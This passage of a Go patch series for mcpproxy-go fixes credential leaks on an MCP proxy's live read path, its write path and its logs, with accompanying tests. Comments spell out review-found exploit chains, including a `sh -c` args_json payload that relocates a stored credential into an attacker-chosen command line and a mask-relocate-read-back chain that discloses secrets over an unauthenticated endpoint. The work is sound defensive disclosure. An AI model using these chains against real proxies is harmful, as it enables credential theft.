require.True(t, ok) + maskedEnv, _ := envView["BENIGN_NAME"].(string) + require.NotEqual(t, stored.Env["BENIGN_NAME"], maskedEnv) + + got := unmaskLiveEnvValues(map[string]string{"BENIGN_NAME": maskedEnv}, stored.Env) + assert.Equal(t, stored.Env["BENIGN_NAME"], got["BENIGN_NAME"]) + + hdrView, ok := view["headers"].(map[string]interface{}) + require.True(t, ok) + maskedHdr, _ := hdrView["X-Zyx"].(string) + gotH := unmaskLiveHeaders(map[string]string{"X-Zyx": maskedHdr}, stored.Headers) + assert.Equal(t, stored.Headers["X-Zyx"], gotH["X-Zyx"]) + }) + + t.Run("url", func(t *testing.T) { + assert.Equal(t, stored.URL, unmaskLiveURL(viewString(view, "url", ""), stored.URL)) + }) +} + +// --------------------------------------------------------------------------- +// Finding 7: with detectContractedLeaves off, the LIVE surface — the one an +// unauthenticated /mcp caller reads — returned vendor-shaped credentials in the +// clear whenever they sat under a benign env/header name, while the AUDIT +// policy masked them. +// --------------------------------------------------------------------------- + +func TestLiveRedaction_MasksVendorShapedSecretsUnderBenignNames(t *testing.T) { + ghp := "ghp_abcdefghijklmnopqrstuvwxyz0123456789" + + assert.NotContains(t, redactEnvValueWith("BENIGN_NAME", ghp, liveRedaction), ghp) + assert.NotContains(t, redactHeaderValueWith("X-Zyx", ghp, liveRedaction), ghp) + + // The #872 component-wise connection-string rendering is NOT collapsed: + // the name/URL rules already rewrote it, so the detector stays out of it and + // scheme/host/db remain readable for the operator's edit flow. + conn := redactEnvValueWith("DATABASE_URL_PLAIN", "postgres://u:sup3rp4ss@db.example.com/appdb", liveRedaction) + assert.NotContains(t, conn, "sup3rp4ss") + assert.Contains(t, conn, "db.example.com") + assert.Contains(t, conn, "appdb") + + // Ordinary configuration stays readable. + assert.Equal(t, "debug", redactEnvValueWith("LOG_LEVEL", "debug", liveRedaction)) +} + +// --------------------------------------------------------------------------- +// Finding 9: installing an admin AuthContext on the stdio transport changes two +// nil-sensitive paths that the original behaviour list did not name. Both are +// intended — stdio now behaves like the API-key admin it is — and both are +// pinned here so a future change to either is a deliberate one. The full +// enumeration lives on stdioAuthContext in server.go. +// --------------------------------------------------------------------------- + +func TestStdioAdminContext_NilSensitivePaths(t *testing.T) { + stdioCtx := stdioAuthContext(context.Background()) + + t.Run("session principal names the local admin", func(t *testing.T) { + assert.Equal(t, "", principalFromContext(context.Background())) + assert.Equal(t, auth.AuthTypeAdmin, principalFromContext(stdioCtx)) + }) + + t.Run("preflight scope is materialised and allows every server", func(t *testing.T) { + p := createTestMCPProxyServer(t) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "alpha", Enabled: true})) + require.NoError(t, p.storage.SaveUpstreamServer(&config.ServerConfig{Name: "beta", Enabled: true})) + + none, err := p.sessionPreflightScope(context.Background()) + require.NoError(t, err) + assert.Nil(t, none, "no identity and no profile stays unrestricted") + + scope, err := p.sessionPreflightScope(stdioCtx) + require.NoError(t, err) + require.NotNil(t, scope) + assert.True(t, scope.Allows("alpha")) + assert.True(t, scope.Allows("beta")) + }) +} diff --git a/internal/server/mcp_secret_redaction_test.go b/internal/server/mcp_secret_redaction_test.go index 4e2e439ec..b728ea5f9 100644 --- a/internal/server/mcp_secret_redaction_test.go +++ b/internal/server/mcp_secret_redaction_test.go @@ -346,15 +346,18 @@ func TestUnmaskArgv_RevertsEchoedMasks(t *testing.T) { assert.Equal(t, incoming, unmaskArgv(incoming, stored)) }) - t.Run("an ambiguous mask is not guessed", func(t *testing.T) { - // Two DIFFERENT stored tokens whose masked renderings collide - // (MaskValue carries only the length and last two bytes): reverting - // either would be a guess, so the mask is left alone rather than - // restoring the wrong secret over the other one. - ambiguous := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} - maskedAmbiguous := redactedArgs(ambiguous, liveRedaction) - got := unmaskArgv(maskedAmbiguous, ambiguous) - assert.Equal(t, maskedAmbiguous, got) + t.Run("colliding masks are resolved by position, not guessed", func(t *testing.T) { + // Two DIFFERENT stored tokens whose masked renderings collide — + // MaskValue carries only the length and the last two bytes. The first + // cut matched by VALUE, so it could not tell them apart and refused to + // revert either. Binding the revert to the index it was masked at + // (round 2, finding 1) makes the collision a non-event: each slot + // restores its OWN stored token and neither secret can land in the + // other's slot. + colliding := []string{"--api-key", "aaaaaaaaaXY", "--token", "bbbbbbbbbXY"} + maskedColliding := redactedArgs(colliding, liveRedaction) + require.Equal(t, maskedColliding[1], maskedColliding[3], "precondition: the renderings collide") + assert.Equal(t, colliding, unmaskArgv(maskedColliding, colliding)) }) t.Run("nil and empty are passed through", func(t *testing.T) { diff --git a/internal/server/mcp_server_view.go b/internal/server/mcp_server_view.go index 85911b108..2c72a5ad6 100644 --- a/internal/server/mcp_server_view.go +++ b/internal/server/mcp_server_view.go @@ -2,6 +2,8 @@ package server import ( "encoding/json" + "fmt" + "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" @@ -82,11 +84,50 @@ func redactedServerViews(servers []*config.ServerConfig, r redactionPolicy) []ma // mcp.go's `upstream_servers list` already did exactly this for `last_error`; // routing every such site through one helper is what stops the four call sites // drifting apart again. +// +// It does NOT truncate. Round 2 finding 3: this used to apply the 512-byte +// ACTIVITY-STORE cap, which is a property of a persisted row and not of a live +// read — so every `tail_log` line, `connection_status.last_error` and +// `connection_message` was silently cut at 512 bytes. tail_log is the primary +// debugging surface and a long line is precisely what an operator opens it for. +// The cap now lives on scrubUpstreamTextForAudit, where it belongs. func scrubUpstreamText(s string) string { if s == "" { return s } - return auditRedaction.capString(maskDetectedSecrets(oauth.RedactSensitiveData(s))) + return maskDetectedSecrets(oauth.RedactSensitiveData(s)) +} + +// scrubUpstreamTextForAudit is scrubUpstreamText for a string that will be +// PERSISTED — an activity row's error message or a non-JSON response body. It +// adds the activity store's size cap so one enormous upstream error cannot +// bloat BBolt, which is the only thing the two paths need to differ on. +func scrubUpstreamTextForAudit(s string) string { + return auditRedaction.capString(scrubUpstreamText(s)) +} + +// scrubbedConnectionStatus returns a copy of a managed client's +// GetConnectionStatus() map with every string leaf scrubbed. +// +// Round 2 finding 2: `inspect_quarantined` — the sibling operation of the +// `list_quarantined` path #1148 fixed, one screen away in the same file — +// rendered this map straight into its response, and the map carries +// `last_error`, which routinely echoes the upstream URL with its query +// credentials. The copy matters: the map belongs to the caller's diagnostic +// path, which must keep seeing the real error. +func scrubbedConnectionStatus(status map[string]interface{}) map[string]interface{} { + if status == nil { + return nil + } + out := make(map[string]interface{}, len(status)) + for k, v := range status { + if s, ok := v.(string); ok { + out[k] = scrubUpstreamText(s) + continue + } + out[k] = v + } + return out } // scrubUpstreamLines scrubs a batch of log lines. @@ -118,7 +159,7 @@ func redactBuiltinResponseForActivity(responseText string) interface{} { } var parsed interface{} if err := json.Unmarshal([]byte(responseText), &parsed); err != nil || parsed == nil { - return scrubUpstreamText(responseText) + return scrubUpstreamTextForAudit(responseText) } return redactValueWith("", parsed, auditRedaction) } @@ -191,41 +232,194 @@ func redactedArgsFallback(args []string, r redactionPolicy) []string { // env and headers. // // The mapping is built from the STORED vector through redactedArgs, i.e. the -// same function the read path used, so the two cannot drift. Matching is by -// VALUE rather than by position, because `args_json` may legitimately reorder -// or resize the vector. -// -// Two deliberate refusals: -// - a masked rendering produced by two DIFFERENT stored tokens is ambiguous; -// reverting it would be a guess, so it is left as the client sent it; -// - a token whose masked rendering equals itself (an ordinary argument the -// read path did not touch) is not a mask at all and is never reverted. +// same function the read path used, so the two cannot drift. +// +// The revert is BOUND to the slot the mask came from — round 2 finding 1. The +// first cut matched by VALUE anywhere in the vector, which made this far worse +// than the disclosure it was added to prevent: +// +// - RELOCATION. `args_json` replaces the whole vector and the caller also +// controls `command`, so `{"command":"sh","args_json":"[\"-c\",\"\"]"}` +// had mcpproxy substitute the real credential into an attacker-chosen +// command line. +// - RE-DISCLOSURE, which is the sharper one. A credential masked because of +// the FLAG in front of it (`--api-key `) has no credential shape of +// its own. Move it into a bare positional slot and the read path no longer +// recognises it, so the very next `upstream_servers list` hands it back in +// the clear — a masked-read → relocate-write → read-back chain that undoes +// all of #1148, over an endpoint that is unauthenticated by default. +// +// So a stored token is restored ONLY to the index it was masked at, and only +// when the token that BOUND the mask is unchanged: +// +// - a value masked because of the preceding flag requires that same flag +// still to precede it (`--api-key` cannot become `--exfil-to`); +// - an inline `--flag=` carries its own flag inside the token, so token +// equality already binds it; +// - a detector-recognised token (`ghp_…`) is masked by its own shape, so it +// is still masked wherever it ends up and re-disclosure is impossible. +// +// This is the same shape as the safeguards the sibling contracts already carry: +// oauth.UnmaskEnvValues / UnmaskHeaders bind to the map KEY, and UnmaskURL +// refuses to move a stored secret onto a different scheme/host. A vector that +// was reordered or resized simply does not round-trip its masks; the caller +// resends the real values, which is the safe direction. func unmaskArgv(incoming, stored []string) []string { if incoming == nil || len(stored) == 0 { return incoming } maskedStored := redactedArgs(stored, liveRedaction) - revert := make(map[string]string, len(stored)) - ambiguous := make(map[string]bool, len(stored)) - for i, masked := range maskedStored { - if masked == stored[i] { - continue // not a mask + flagBound := argvFlagBoundMasks(stored) + + out := make([]string, len(incoming)) + for i, token := range incoming { + out[i] = token + if i >= len(stored) || maskedStored[i] == stored[i] || token != maskedStored[i] { + // Out of range, not a mask at all, or a genuine edit. + continue } - if existing, seen := revert[masked]; seen && existing != stored[i] { - ambiguous[masked] = true + // argvFlagBoundMasks never marks index 0, so i >= 1 here. + if flagBound[i] && incoming[i-1] != stored[i-1] { + // The flag that made this value a secret is gone or different; + // restoring here would move the credential to a flag the caller + // chose. Leave the mask literal — the write then carries a value + // that is obviously not a credential rather than the real one. continue } - revert[masked] = stored[i] + out[i] = stored[i] } + return out +} - out := make([]string, len(incoming)) - for i, token := range incoming { - if original, ok := revert[token]; ok && !ambiguous[token] { - out[i] = original +// argvFlagBoundMasks reports, per index of the stored vector, whether that +// token would be masked BECAUSE OF the flag in front of it rather than because +// of its own shape. Mirrors the `maskNext` rule in redactArgvWith. +// +// It deliberately over-reports rather than under-reports: after a masked value +// is consumed, redactArgvWith resets the pairing, so a run of sensitive-looking +// flags marks one index here that the masker did not pair. An extra index only +// makes unmaskArgv stricter (it also demands the preceding token be unchanged), +// which is the safe direction; a missed index would drop a binding. +func argvFlagBoundMasks(stored []string) []bool { + bound := make([]bool, len(stored)) + for i := 1; i < len(stored); i++ { + prev := stored[i-1] + bound[i] = isArgvFlag(prev) && oauth.IsSensitiveKeyName(argvFlagKey(prev)) + } + return bound +} + +// unmaskLiveEnvValues reverts env values a client echoed back exactly as the +// LIVE VIEW rendered them, before oauth.UnmaskEnvValues gets the map. +// +// Round 2 finding 7 let the live policy's value-shaped detector fire on a leaf +// the name rule left untouched (`env: {BENIGN: ghp_…}`), which is a rendering +// oauth.UnmaskEnvValues cannot recognise — it compares against oauth. +// maskedEnvValue. Without this mirror, masking that leaf would trade a +// disclosure for the read-modify-write corruption of #1142/#1146. +// +// Binding is by KEY, exactly as oauth's own unmaskers bind, so a value can only +// ever be restored to the variable it was read from. +func unmaskLiveEnvValues(incoming, stored map[string]string) map[string]string { + return unmaskLiveMap(incoming, stored, func(k, v string) string { + return redactEnvValueWith(k, v, liveRedaction) + }) +} + +// unmaskLiveHeaders is unmaskLiveEnvValues for header maps. +func unmaskLiveHeaders(incoming, stored map[string]string) map[string]string { + return unmaskLiveMap(incoming, stored, func(k, v string) string { + return redactHeaderValueWith(k, v, liveRedaction) + }) +} + +func unmaskLiveMap(incoming, stored map[string]string, rendered func(k, v string) string) map[string]string { + if incoming == nil || len(stored) == 0 { + return incoming + } + out := make(map[string]string, len(incoming)) + for k, v := range incoming { + if sv, ok := stored[k]; ok && v == rendered(k, sv) { + out[k] = sv continue } - out[i] = token + out[k] = v } return out } + +// unmaskLiveURL reverts a URL echoed back exactly as the live view rendered it. +// A genuinely edited URL falls through to oauth.UnmaskURL, which restores the +// individual masked components under its own authority safeguard. +func unmaskLiveURL(incoming, stored string) string { + if incoming == "" || stored == "" { + return incoming + } + if incoming == redactStringWith("url", stored, liveRedaction) { + return stored + } + return oauth.UnmaskURL(incoming, stored) +} + +// unmaskLiveOAuth reverts a masked oauth.client_secret echoed back by a client. +// +// Round 2 finding 6: #1148 started masking client_secret on the MCP read +// surface (`quarantine_security list_quarantined` renders the WHOLE config) +// without giving the write path anything to recognise the mask by, so a +// read-modify-write through `oauth_json` — which REPLACES the oauth block — +// persisted `••••42 (17 chars)` as the client secret. Read and write now agree +// on the same rendering, bound to the field it came from. +// +// The REST API is not affected in either direction: contracts.OAuthConfig +// carries no client_secret, so no REST response ever renders one. +func unmaskLiveOAuth(incoming, stored *config.OAuthConfig) { + if incoming == nil || stored == nil || stored.ClientSecret == "" { + return + } + if incoming.ClientSecret == redactStringWith("client_secret", stored.ClientSecret, liveRedaction) { + incoming.ClientSecret = stored.ClientSecret + } +} + +// inspectConnectionTimeoutError renders `inspect_quarantined`'s +// connection-timeout diagnostic (issue #1148, round 2 finding 2). +// +// The status map is scrubbed rather than dropped: which state the client is in, +// how many retries it has burned and what the (redacted) error was is the whole +// value of this message to an operator deciding whether a quarantined server is +// merely broken or actively hostile. +func inspectConnectionTimeoutError(serverName string, timeout time.Duration, status map[string]interface{}) string { + return fmt.Sprintf( + "Quarantined server '%s' failed to connect within %v timeout. Connection status: %v. "+ + "This may indicate the server process is not running, there's a network issue, "+ + "or the server is unstable (see issue #105).", + serverName, timeout, scrubbedConnectionStatus(status)) +} + +// inspectConnectionFailedAnalysis renders `inspect_quarantined`'s +// tool-retrieval-failed payload with the connection status and the raw upstream +// error scrubbed (issue #1148, round 2 finding 2). +func inspectConnectionFailedAnalysis(serverName string, status map[string]interface{}, err error) []map[string]interface{} { + info := scrubbedConnectionStatus(status) + if info == nil { + info = map[string]interface{}{} + } + detail := "" + if err != nil { + detail = scrubUpstreamText(err.Error()) + } + info["connection_error"] = detail + + return []map[string]interface{}{{ + "server_name": serverName, + "status": "QUARANTINED_CONNECTION_FAILED", + "message": fmt.Sprintf( + "Server '%s' is quarantined and connection failed during tool retrieval. "+ + "This may indicate the server process crashed or disconnected.", serverName), + "connection_info": info, + "error_details": detail, + "next_steps": "The server connection failed. Check server process status, logs, and configuration. Server may need to be restarted.", + "security_note": "Connection failure prevents tool analysis. Server must be stable and connected for security inspection.", + }} +} diff --git a/internal/server/server.go b/internal/server/server.go index a020339c0..3c55664fe 100644 --- a/internal/server/server.go +++ b/internal/server/server.go @@ -993,6 +993,40 @@ func (s *Server) Start(ctx context.Context) error { // stdioAuthContext installs the authenticated-admin context for the stdio // transport. See the ServeStdio call site above (issue #1148). +// +// Round 2 finding 9 asked for the nil-sensitive paths this changes to be +// enumerated rather than assumed. Every consumer of auth.AuthContextFromContext +// reachable from an MCP handler, and what a stdio session now does differently: +// +// CHANGED, and intended — stdio now behaves exactly like the API-key admin it +// is, instead of like an absent identity: +// - workspace.go principalFromContext: "" → "admin". Session grouping names +// the local principal instead of degrading to client+project. +// - preflight_glue.go sessionPreflightScope: nil (unrestricted) → a Scope +// over the whole server universe. An admin is in scope for every server, +// so the same set is allowed; the scope is merely materialised, and can +// now surface a storage error that only fires when ListUpstreams itself +// fails. +// - mcp.go handleListUpstreams: CanRevealSecrets() nil → false, admin → +// true. This is the point of the change: `reveal_secret_headers` keeps +// working for the local operator on stdio. +// +// CHANGED shape, identical outcome: +// - mcp_code_execution.go: options.AuthContext and ToolAnnotationFunc are +// now set. jsruntime's AuthInfo.CanAccessServer / HasPermission both +// short-circuit true for type "admin", so nothing is newly denied; only +// an annotation lookup is added per dispatch. +// - mcp_routing.go direct dispatch: the access and permission checks now +// run, and both pass for an admin. +// - mcp_describe_check.go: record.UserID / UserEmail are read off the +// context and are empty on an admin context, so the record is unchanged. +// +// UNCHANGED — these gate on agent/user identity, which an admin context is +// not, or already read nil as admin: +// profile_resolver.go, mcp_direct_scope.go, mcp_direct_callability.go, +// mcp_describe_direct.go, mcp_visibility.go, +// observability_edition_server.go, auth.AuthorizeServerOp and the +// `authCtx != nil && !authCtx.IsAdmin()` gates in mcp.go. func stdioAuthContext(ctx context.Context) context.Context { return auth.WithAuthContext(ctx, auth.AdminContext()) } diff --git a/internal/transport/http.go b/internal/transport/http.go index f22d6d3f4..16d7c5cef 100644 --- a/internal/transport/http.go +++ b/internal/transport/http.go @@ -6,6 +6,7 @@ import ( "time" "github.com/smart-mcp-proxy/mcpproxy-go/internal/config" + "github.com/smart-mcp-proxy/mcpproxy-go/internal/oauth" "github.com/mark3labs/mcp-go/client" "github.com/mark3labs/mcp-go/client/transport" @@ -183,7 +184,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { logger := zap.L().Named("transport") logger.Error("🚨 TRANSPORT HTTP CLIENT CREATION", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("oauth_config_nil", cfg.OAuthConfig == nil), zap.Bool("use_oauth", cfg.UseOAuth)) @@ -192,34 +193,34 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating HTTP client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled client with Dynamic Client Registration logger.Info("Creating OAuth-enabled streamable HTTP client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Debug("🔧 About to create OAuth client with mcp-go library", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI)) logger.Info("Creating OAuth HTTP client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth HTTP client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -255,7 +256,7 @@ func CreateHTTPClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular HTTP client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular HTTP client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -311,30 +312,30 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Debug("Creating SSE client", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Bool("use_oauth", cfg.UseOAuth), zap.Bool("has_oauth_config", cfg.OAuthConfig != nil)) if cfg.UseOAuth && cfg.OAuthConfig != nil { // Use OAuth-enabled SSE client with Dynamic Client Registration logger.Info("Creating OAuth-enabled SSE client with Dynamic Client Registration", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled)) logger.Debug("OAuth SSE config details", zap.String("client_id", cfg.OAuthConfig.ClientID), - zap.String("client_secret", cfg.OAuthConfig.ClientSecret), + zap.Bool("has_client_secret", cfg.OAuthConfig.ClientSecret != ""), zap.Any("token_store", cfg.OAuthConfig.TokenStore)) logger.Info("Creating OAuth SSE client with context-based timeout", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("note", "Using 30-minute context timeout from tray")) // Add detailed logging about the OAuth config and token store logger.Info("🔍 OAuth SSE client creation details", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.String("redirect_uri", cfg.OAuthConfig.RedirectURI), zap.Strings("scopes", cfg.OAuthConfig.Scopes), zap.Bool("pkce_enabled", cfg.OAuthConfig.PKCEEnabled), @@ -368,7 +369,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { return client, nil } - logger.Debug("Creating regular SSE client", zap.String("url", cfg.URL)) + logger.Debug("Creating regular SSE client", zap.String("url", cfg.logSafeURL())) // Apply brokered per-user auth injection (spec 074): replaces any configured // auth header with the resolved per-user credential and never forwards the @@ -400,7 +401,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { } logger.Info("Creating SSE MCP client with indefinite timeout for long-lived streams", - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("header_timeout", 30*time.Second), zap.Int("header_count", len(headers)), @@ -410,7 +411,7 @@ func CreateSSEClient(cfg *HTTPTransportConfig) (*client.Client, error) { if logger.Core().Enabled(zap.DebugLevel - 1) { // Trace level logger.Debug("TRACE SSE TRANSPORT SETUP", zap.String("transport_type", "sse"), - zap.String("url", cfg.URL), + zap.String("url", cfg.logSafeURL()), zap.Duration("idle_timeout", 300*time.Second), zap.Duration("response_header_timeout", 30*time.Second), zap.String("debug_note", "SSE client will establish persistent connection for JSON-RPC over SSE with no overall timeout")) @@ -459,3 +460,23 @@ func DetermineTransportType(serverConfig *config.ServerConfig) string { // Default to stdio return TransportStdio } + +// logSafeURL renders the configured upstream URL for a LOG FIELD, with its +// credential-bearing query parameters and any userinfo password masked. +// +// Issue #1148 (round 2, finding 8): every HTTP/SSE client creation logged the +// raw cfg.URL — at Error level on the streamable-HTTP path, so it fired on +// every attempt regardless of log level — writing `?token=…` and +// `https://user:pass@host` straight into main.log. internal/upstream/core +// already routes its own connection logging through an identical helper +// (Client.logSafeURL); this is the same fix for the transport layer, which the +// first cut of #1148 missed. +// +// oauth.RedactURLQueryParams leaves scheme, host, path and non-sensitive +// parameters verbatim, so the log field stays as diagnosable as it was. +func (c *HTTPTransportConfig) logSafeURL() string { + if c == nil { + return "" + } + return oauth.RedactURLQueryParams(c.URL) +} diff --git a/internal/transport/http_url_redact_test.go b/internal/transport/http_url_redact_test.go new file mode 100644 index 000000000..d5a8ecf86 --- /dev/null +++ b/internal/transport/http_url_redact_test.go @@ -0,0 +1,51 @@ +package transport + +import ( + "strings" + "testing" + + "github.com/stretchr/testify/assert" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" + "go.uber.org/zap/zaptest/observer" +) + +// TestLogSafeURL covers issue #1148 (round 2, finding 8): the HTTP/SSE client +// creation path logged the raw upstream URL into main.log — at Error level, so +// it fired on every attempt regardless of the configured level. +func TestLogSafeURL(t *testing.T) { + cfg := &HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999&debug=1"} + got := cfg.logSafeURL() + assert.NotContains(t, got, "urlsecret999") + assert.Contains(t, got, "debug=1", "non-sensitive parameters must stay readable") + assert.Contains(t, got, "host/mcp") + + userinfo := (&HTTPTransportConfig{URL: "https://alice:hunter2phrase@host/mcp"}).logSafeURL() + assert.NotContains(t, userinfo, "hunter2phrase") + + assert.Equal(t, "", (&HTTPTransportConfig{}).logSafeURL()) + assert.Equal(t, "", (*HTTPTransportConfig)(nil).logSafeURL()) +} + +// TestCreateHTTPClient_DoesNotLogRawURL is the end-to-end guard: no log line +// emitted while building the client may carry the credential. +func TestCreateHTTPClient_DoesNotLogRawURL(t *testing.T) { + core, logs := observer.New(zapcore.DebugLevel) + restore := zap.ReplaceGlobals(zap.New(core)) + defer restore() + + _, err := CreateHTTPClient(&HTTPTransportConfig{URL: "https://host/mcp?token=urlsecret999"}) + assert.NoError(t, err) + + var b strings.Builder + for _, entry := range logs.All() { + b.WriteString(entry.Message) + for _, f := range entry.Context { + b.WriteString(" ") + b.WriteString(f.String) + } + b.WriteString("\n") + } + assert.NotEmpty(t, b.String(), "precondition: client creation logs something") + assert.NotContains(t, b.String(), "urlsecret999") +} From f0cdbd65e302730c44f5734537d0329482413036 Mon Sep 17 00:00:00 2001 From: Algis Dumbris Date: Tue, 1 Sep 2026 08:12:33 +0300 Subject: [PATCH 3/4] fix(security): refuse echoed argv masks instead of reverting them, and redact URL credentials in connection errors MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Round 3 of the #1148 review. 1. argv masks are never reverted again — they are REFUSED (MAJOR). unmaskArgv still relocated a stored credential into a caller-chosen command line whenever the mask was not flag-bound. argvFlagBoundMasks marks index i only when stored[i-1] is a sensitive flag, so a token masked by the value-shaped detector — or any mask at index 0 — was bound to nothing but its index. Reproduced against the real code: stored = ["mcp-foo", "run", "ghp_16Cabcdef…"] incoming = ["--silent", "--data", "ghp_…****"] -> the live token was substituted into the attacker's argv. Option (b) from the review, and (a) is not salvageable: an argv slot has no key, and the caller supplies the whole vector AND `command` in the same patch, so every candidate binding — index, preceding flag, even a byte-identical vector — is caller-controlled. A "same surrounding context" rule still lets the secret move from `mcp-foo --api-key X` to `curl --api-key X`, because the meaning of argv lives in `command`. unmaskArgv/argvFlagBoundMasks are gone. checkArgvMaskEcho refuses the write when args_json carries a mask (an exact echo of a stored token's live rendering, or any token bearing a mask marker) and tells the caller to resend the real value. That is safe in both directions: the secret never moves, and the mask is never persisted over the credential either — the read-modify-write corruption the revert existed to prevent. Refusing beats silently ignoring args_json, which REPLACES the vector. Tests: a mask at every position, in argv vectors of every shape (including neighbours copied verbatim from the stored vector), for a flag-bound mask, a detector-shaped mask and a mask at index 0, is always refused and never reverted; the marker list is pinned to the functions that render masks; and the write path itself (buildPatchConfigFromRequest) rejects the relocation attempt with the stored vector untouched. 2. Raw upstream URLs in logs — the remaining siblings (MINOR, pre-existing; identical on origin/main). internal/upstream/manager.go logged client.GetConfig().URL at Info on every connect attempt; internal/upstream/cli/client.go and connection_oauth.go's deprecated-endpoint error did the same. All three now go through oauth.RedactURLQueryParams / the existing logSafeURL helper. The observer test written for the manager site showed the field masks were only half of it: a net/http error quotes the request URL inside its own message (`Post "https://host/mcp?token=…": dial tcp …`), so the credential still reached main.log at Error level through zap.Error, and was stored as the client's last error. Redacted once at the seam where the transport error enters mcpproxy (core Connect), plus the log sites that fire before it (both auth-strategy loops, the SSE connection-lost handlers, the transport's request-failure log). The wrapper keeps the original reachable through Unwrap, so errors.Is/As and the substring classification the connect paths do are unaffected. --- internal/server/mcp.go | 19 ++- .../mcp_secret_redaction_hardening_test.go | 122 ++++++++++----- internal/server/mcp_secret_redaction_test.go | 77 +++++++--- internal/server/mcp_server_view.go | 140 +++++++++--------- internal/transport/http.go | 14 ++ internal/transport/http_url_redact_test.go | 14 ++ internal/transport/logging.go | 10 +- internal/upstream/cli/client.go | 4 +- internal/upstream/core/connection.go | 49 ++++++ internal/upstream/core/connection_http.go | 13 +- internal/upstream/core/connection_oauth.go | 2 +- .../core/connection_url_redact_test.go | 29 ++++ internal/upstream/manager.go | 7 +- internal/upstream/manager_url_redact_test.go | 86 +++++++++++ 14 files changed, 441 insertions(+), 145 deletions(-) create mode 100644 internal/upstream/manager_url_redact_test.go diff --git a/internal/server/mcp.go b/internal/server/mcp.go index a5ceabb8c..4e2fc48f4 100644 --- a/internal/server/mcp.go +++ b/internal/server/mcp.go @@ -5243,12 +5243,19 @@ func (p *MCPProxyServer) buildPatchConfigFromRequest(request mcp.CallToolRequest if err := json.Unmarshal([]byte(argsJSON), &args); err != nil { return nil, opts, fmt.Errorf("invalid args_json format: %v", err) } - // #1148: the read path masks credential-shaped argv tokens; restore - // any the caller echoed back masked, so the mask is never persisted - // over the real value (parity with the env/header/url unmaskers). - // args_json REPLACES the vector, so an unedited echo of a masked list - // would otherwise wipe the credential. - patch.Args = unmaskArgv(args, existingServer.Args) + // #1148 round 3: the read path masks credential-shaped argv tokens, + // and unlike env/headers/url there is NO unmask contract for argv — + // an argv slot has no key to bind a stored secret to, and the caller + // controls both the whole vector and `command`, so any revert can be + // steered into relocating the credential (see checkArgvMaskEcho). + // An echoed mask is therefore refused, not reverted: the caller + // resends the real value, so the mask is never restored into an + // attacker-chosen command line and never persisted over the + // credential either. + if err := checkArgvMaskEcho(args, existingServer.Args); err != nil { + return nil, opts, err + } + patch.Args = args } // Handle env JSON string - maps are deep merged with RFC 7396 null-means-remove diff --git a/internal/server/mcp_secret_redaction_hardening_test.go b/internal/server/mcp_secret_redaction_hardening_test.go index b50005a0b..2628fb019 100644 --- a/internal/server/mcp_secret_redaction_hardening_test.go +++ b/internal/server/mcp_secret_redaction_hardening_test.go @@ -20,56 +20,104 @@ import ( // names the defect it reproduces; all of them fail on the unfixed tree. // --------------------------------------------------------------------------- -// Finding 1: unmaskArgv reverted a mask BY VALUE with no binding, so a caller -// could relocate a stored argv credential into an arbitrary command line — and, -// worse, into a slot the READ path does not mask, turning the masked surface -// back into a disclosure surface. +// Finding 1 (rounds 2 AND 3): the write path used to REVERT a masked argv +// token from the stored vector — first by value, then bound to the index plus +// the preceding flag. Both let a caller relocate a stored credential into a +// command line of their choosing, because an argv slot has no key to bind to +// and the caller supplies the whole vector *and* `command`. +// +// The revert is gone: an echoed mask is refused and the caller resends the real +// value. These tests pin BOTH halves of that contract — no vector containing a +// mask is ever accepted, and a vector with no mask is 